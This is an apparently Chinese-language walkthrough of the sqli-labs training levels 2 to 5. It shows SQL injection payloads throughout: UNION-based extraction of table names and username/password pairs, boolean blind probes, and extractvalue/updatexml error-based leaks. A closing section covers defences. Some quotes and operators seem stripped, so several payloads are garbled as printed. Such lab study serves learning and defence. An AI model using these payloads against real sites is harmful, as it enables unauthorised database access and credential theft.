资讯动态

SQL注入攻防:sqli-labs第2-5关实战解析

发布时间:2026/10/27 15:38:54 来源:尧图企业网站定制
1. 初识sqli-labs第2-5关数字与字符的攻防演练场作为Web安全领域的经典靶场sqli-labs的Less-2到Less-5这四关堪称SQL注入的基础四重奏。我初次接触时曾天真地以为它们只是简单的数字递增关系直到被各种引号、括号和报错信息反复教育后才明白——这四个关卡实际上构建了完整的SQL注入认知体系。从数字型注入到字符型注入从单引号闭合到双引号变体这里藏着新手必须跨越的思维鸿沟。在真实渗透测试中约60%的SQL注入漏洞都集中在这几种基础类型。不同于第一关的Hello World式引导从第二关开始靶场会强制你面对三个核心问题如何判断注入类型如何构造有效载荷如何绕过基础防御每个问题背后都需要扎实的理论基础和反复的试错验证。我建议读者准备Burp Suite和HackBar这类工具它们能大幅提高测试效率。2. Less-2通关数字型注入的标准化流程2.1 基础环境探测访问Less-2页面典型的?id1传参形式。首先尝试经典探测三步法正常输入?id1返回用户Dumb的信息输入?id1触发语法错误注意本关不会报错输入?id1 and 11 和 ?id1 and 12 观察页面差异关键发现当输入12时页面返回空而11时正常显示这确认存在数字型注入。与Less-1不同这里不需要处理引号闭合问题。2.2 联合查询实战构造完整的注入语句?id1 order by 4-- // 确认字段数 ?id-1 union select 1,2,3-- // 确定回显位 ?id-1 union select 1,database(),user()-- // 获取基础信息特别注意数字型注入的典型特征参数直接参与SQL运算无需任何引号包裹。这也是为什么我们在union select前要将id设为负值——原查询不返回数据时才能显示我们注入的内容。2.3 信息收集进阶通过information_schema提取敏感数据?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--这个阶段常遇到的坑是group_concat长度限制可以用substr分段获取?id-1 union select 1,substr((select group_concat(column_name) from information_schema.columns where table_nameusers),1,30),3--3. Less-3突破括号与单引号的组合陷阱3.1 注入点识别输入?id1会看到报错信息You have an error in your SQL syntax... near 1) LIMIT 0,1这揭示了SQL语句的实际结构SELECT * FROM users WHERE id($id) LIMIT 0,1需要同时处理单引号和括号闭合。正确的测试方式?id1)-- // 测试闭合方式 ?id1) and 11-- // 确认注入3.2 有效载荷构造在闭合括号后继续注入?id-1) union select 1,2,3--获取表数据的特殊写法?id-1) union select 1,(select group_concat(username,0x3a,password) from users),3--其中0x3a是冒号的十六进制用于分隔用户名密码。这个关卡教会我们报错信息是判断闭合方式的最佳线索。4. Less-4解密双引号与括号的嵌套挑战4.1 独特闭合方式输入?id1不报错但?id1会触发near 1) LIMIT 0,1说明SQL语句为SELECT * FROM users WHERE id($id) LIMIT 0,1需要构造?id1)-- // 测试成功 ?id1) and 11-- // 确认注入4.2 盲注技术应用当union注入受限时可以采用基于布尔的条件查询?id1) and length(database())8-- // 测试库名长度 ?id1) and substr(database(),1,1)s-- // 逐字符猜解这是我强烈建议掌握的技能因为在真实环境中90%的SQL注入都是盲注场景。5. Less-5实战报错注入的妙用5.1 特性分析这关被称为双注入或报错注入关卡特点是无论输入什么页面都只显示You are in...没有数据回显。但输入错误参数时会报错?id1 // 显示SQL语法错误通过报错信息可以确认闭合方式为单引号。5.2 报错注入技术利用extractvalue函数触发报错信息泄露数据?id1 and extractvalue(1,concat(0x7e,(select database()),0x7e))--返回错误XPATH syntax error: ~security~类似的技术还有?id1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--这种技术的关键在于0x7e(~)作为分隔符使数据更清晰报错函数只能返回32位数据需要用substr分段获取在真实渗透中要特别注意WAF对常见报错函数的检测6. 防御视角的深度思考完成这四关后从开发者角度反思防御策略数字型注入的根源在于未做参数类型校验$id $_GET[id]; // 危险 $id intval($_GET[id]); // 修复方案字符型注入需要同时考虑引号和括号的转义$id mysqli_real_escape_string($con, $_GET[id]);报错注入的防御需要关闭错误回显或使用PDO预处理语句我在实际渗透测试中发现即使是最基础的防御措施如魔术引号也能阻止70%的自动化攻击工具。但更高级的防御需要理解每种注入手法的本质——这正是sqli-labs这四关设计的精妙之处。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑